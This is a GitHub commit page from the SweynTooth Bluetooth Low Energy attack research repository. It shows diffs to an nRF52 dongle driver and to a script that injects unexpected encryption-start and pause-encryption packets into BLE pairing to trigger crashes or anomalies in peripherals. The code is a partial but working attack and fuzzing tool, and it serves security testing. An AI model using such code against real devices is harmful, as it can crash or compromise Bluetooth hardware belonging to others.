Skip to content

Commit

Permalink
a1 proceeds further
Browse files Browse the repository at this point in the history
  • Loading branch information
Matheus-Garbelini committed Jun 9, 2020
1 parent 8243710 commit c858255
Show file tree
Hide file tree
Showing 8 changed files with 2,151 additions and 2,106 deletions.
14 changes: 14 additions & 0 deletions .idea/inspectionProfiles/Project_Default.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion .idea/misc.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion .idea/sweyntooth_bluetooth_low_energy_attacks.iml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

227 changes: 98 additions & 129 deletions .idea/workspace.xml

Large diffs are not rendered by default.

14 changes: 8 additions & 6 deletions drivers/NRF52_dongle.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
import binascii
import os
import sys

import serial
import os
sys.path.insert(0,os.getcwd() + '../libs')

sys.path.insert(0, os.getcwd() + '../libs')
from colorama import Fore
from scapy.utils import raw, wrpcap
from scapy.layers.bluetooth4LE import BTLE, NORDIC_BLE
Expand Down Expand Up @@ -33,7 +35,7 @@ def __init__(self, port_name, baudrate, debug=False, logs=True, logs_pcap=False,
self.n_log = logs
self.n_debug = debug
if pcap_filename == None:
self.pcap_filename = os.path.basename(__file__).split('.')[0]+'.pcap'
self.pcap_filename = os.path.basename(__file__).split('.')[0] + '.pcap'
else:
self.pcap_filename = pcap_filename

Expand All @@ -44,7 +46,7 @@ def close(self):
print('NRF52 Dongle closed')

def save_pcap(self):
wrpcap(self.pcap_filename, self.packets_buffer) # save packet just sent
wrpcap(self.pcap_filename, self.packets_buffer) # save packet just sent
# del self.packets_buffer
self.packets_buffer = []

Expand Down Expand Up @@ -87,7 +89,7 @@ def raw_receive(self):

if self.n_debug:
print("Hex: " + binascii.hexlify(data).upper())
if self.logs_pcap and data != None:
if self.logs_pcap is True and data != None:
self.packets_buffer.append(NORDIC_BLE(board=75, protocol=2, flags=0x01) / BTLE(data))

return data
Expand All @@ -102,4 +104,4 @@ def raw_receive(self):
elif c == NRF52_CMD_CHECKSUM_ERROR:
print(Fore.RED + "NRF52_CMD_CHECKSUM_ERROR")
sys.exit(0)
return None
return None
58 changes: 48 additions & 10 deletions extras/anomaly_unexpected_encryption_start.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,8 +43,8 @@
# Internal vars
script_folder = os.path.dirname(os.path.realpath(__file__))
SCAN_TIMEOUT = 3
KEY_EXCHANGE_TIMEOUT = 1
CRASH_TIMEOUT = 6
KEY_EXCHANGE_TIMEOUT = 2
CRASH_TIMEOUT = 7
none_count = 0
end_connection = False
connecting = False
Expand All @@ -62,6 +62,8 @@
slave_txaddr = 0 # use public address by default
slave_ever_connected = False
disable_smp = False
smp_packet_on_hold = None
driver = None

# Script variables
run_script = True
Expand All @@ -75,6 +77,7 @@
anomalies = [[], []]
last_smp_summary = None
final_test = False
current_conn_skd = None

addr_type = {
0: 'Public',
Expand Down Expand Up @@ -115,15 +118,17 @@ def crash_timeout():


def scan_timeout():
global run_script, switch_pairing, connecting, encryption_enabled, enc_start_index, version_received, end_connection
global driver, run_script, switch_pairing, connecting, encryption_enabled, enc_start_index, version_received, end_connection
end_connection = False
encryption_enabled = False
driver.logs_pcap = True
version_received = False

if switch_pairing and not enable_secure_connections:
change_pairing()

if not final_test:
print(Fore.YELLOW + '[!] Timeout')
scan_req = BTLE() / BTLE_ADV(RxAdd=slave_txaddr) / BTLE_SCAN_REQ(
ScanA=master_address,
AdvA=advertiser_address)
Expand Down Expand Up @@ -199,7 +204,6 @@ def defragment_l2cap(pkt):

def send_encrypted(pkt):
global conn_tx_packet_counter

raw_pkt = bytearray(raw(pkt))
aa = raw_pkt[:4]
header = raw_pkt[4] # Get ble header
Expand All @@ -216,6 +220,7 @@ def send_encrypted(pkt):
enc_pkt, mic = aes.encrypt_and_digest(raw_pkt[6:-3]) # get payload and exclude 3 bytes of crc
conn_tx_packet_counter += 1 # Increment packet counter
driver.raw_send(aa + chr(header) + chr(length) + enc_pkt + mic + crc)
driver.packets_buffer.append(NORDIC_BLE(board=75, protocol=2, flags=0x3) / pkt) # Save pkt before encryption
print(Fore.CYAN + "TX ---> [Encrypted]{" + pkt.summary()[7:] + '}')


Expand Down Expand Up @@ -293,6 +298,10 @@ def change_pairing():

pkt = defragment_l2cap(pkt)

if encryption_enabled and pkt:
# Manually save packets here
driver.packets_buffer.append(NORDIC_BLE(board=75, protocol=2, flags=0x01) / pkt)

# if packet is incorrectly decoded, you may not be using the dongle
if pkt is None:
none_count += 1
Expand Down Expand Up @@ -324,6 +333,7 @@ def change_pairing():
conn_rx_packet_counter = 0
conn_tx_packet_counter = 0
encryption_enabled = False
NRF52Dongle.logs_pcap = True
slave_txaddr = pkt.TxAdd
print(Fore.GREEN + advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
print(Fore.GREEN + 'Slave address type: ' + addr_type[slave_txaddr])
Expand Down Expand Up @@ -372,6 +382,7 @@ def change_pairing():
set_security_settings(pkt)

elif LL_FEATURE_RSP in pkt:
print(Fore.GREEN + 'Slave Features: ' + str(pkt.feature_set))
if not version_received:
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_VERSION_IND(version='4.2')
driver.send(pkt)
Expand Down Expand Up @@ -412,9 +423,20 @@ def change_pairing():
else:
print(Fore.GREEN + "Legacy Pairing")

if enable_anomaly:
if not encryption_enabled and enable_anomaly:
if enc_start_index >= enc_start_index_max:
disable_smp = True

# Store SMP packet to be sent after encryption (if successful)
smp_answer = BLESMPServer.send_hci(raw(HCI_Hdr() / HCI_ACL_Hdr() / L2CAP_Hdr() / pkt[SM_Hdr]))
if smp_answer is not None and isinstance(smp_answer, list):
for res in smp_answer:
res = HCI_Hdr(res) # type: HCI_Hdr
if SM_Hdr in res:
smp_packet_on_hold = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / res[
SM_Hdr]
print(Fore.YELLOW + 'Holding TX ---> ' + smp_packet_on_hold.summary())

disable_smp = False
enc_start_index_max += 1
enc_start_index = 0
conn_ltk = first_ltk
Expand All @@ -425,6 +447,7 @@ def change_pairing():
rand='\x00',
skdm=conn_iv,
ivm=conn_skd)

driver.send(enc_request)

last_smp_summary = pkt.summary()
Expand All @@ -447,14 +470,16 @@ def change_pairing():
res = HCI_Hdr(res) # type: HCI_Hdr
if SM_Hdr in res:
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / L2CAP_Hdr() / res[SM_Hdr]

if encryption_enabled:
send_encrypted(pkt)
else:
driver.send(pkt)

elif HCI_Cmd_LE_Start_Encryption_Request in res:
conn_ltk = res.ltk
print(Fore.GREEN + "[!] STK/LTK received from SMP server: " + hexlify(res.ltk).upper())

conn_ltk = res.ltk
conn_iv = b'\x00' * 4 # set IVm (IV of master)
conn_skd = b'\x00' * 8 # set SKDm (session key diversifier part of master)

Expand All @@ -463,14 +488,21 @@ def change_pairing():
rand=b'\x00',
skdm=conn_iv,
ivm=conn_skd)
driver.send(enc_request)
if encryption_enabled:
# Send pause encryption request
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_PAUSE_ENC_REQ()
send_encrypted(pkt)
else:
driver.send(enc_request)
# driver.send(enc_request)

elif LL_ENC_RSP in pkt:
# Get IVs and SKDs from slave encryption response
conn_skd += pkt[LL_ENC_RSP].skds # SKD = SKDm || SKDs
conn_iv += pkt[LL_ENC_RSP].ivs # IV = IVm || IVs
conn_session_key = bt_crypto_e(conn_ltk[::-1], conn_skd[::-1])
conn_packet_counter = 0
current_conn_skd = conn_skd

if enable_anomaly is False:
print(Fore.GREEN + 'Received SKD: ' + hexlify(conn_skd))
Expand All @@ -493,6 +525,7 @@ def change_pairing():
Fore.RED + 'This means that the peripheral is using some unknown LTK here (informed by its SMP)')
print(Fore.YELLOW + '[!] Trying to send encrypted message with LTK=' + hexlify(conn_ltk))
encryption_enabled = True
driver.logs_pcap = False
pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_START_ENC_RSP()
send_encrypted(pkt)

Expand All @@ -503,8 +536,12 @@ def change_pairing():
start_timeout('key_exchange_timeout', KEY_EXCHANGE_TIMEOUT, key_exchange_timeout)
else:
# end connection and notify with a warning
print(Fore.RED + 'The peripheral is using the previous established LTK')
end_connection = True
print(Fore.YELLOW + '[!] The peripheral is using the previous established LTK')
send_encrypted(smp_packet_on_hold)
end_connection = False
# pkt = BTLE(access_addr=access_address) / BTLE_DATA() / CtrlPDU() / LL_LENGTH_REQ(
# max_tx_bytes=247 + 4, max_rx_bytes=247 + 4)
# send_encrypted(pkt)

elif LL_REJECT_IND in pkt or SM_Failed in pkt:
print(Fore.YELLOW + 'Peripheral is rejecting pairing')
Expand All @@ -525,6 +562,7 @@ def change_pairing():
if end_connection:
end_connection = False
encryption_enabled = False
driver.logs_pcap = True
enc_start_index = 0
version_received = False

Expand Down
Loading

0 comments on commit c858255

Please sign in to comment.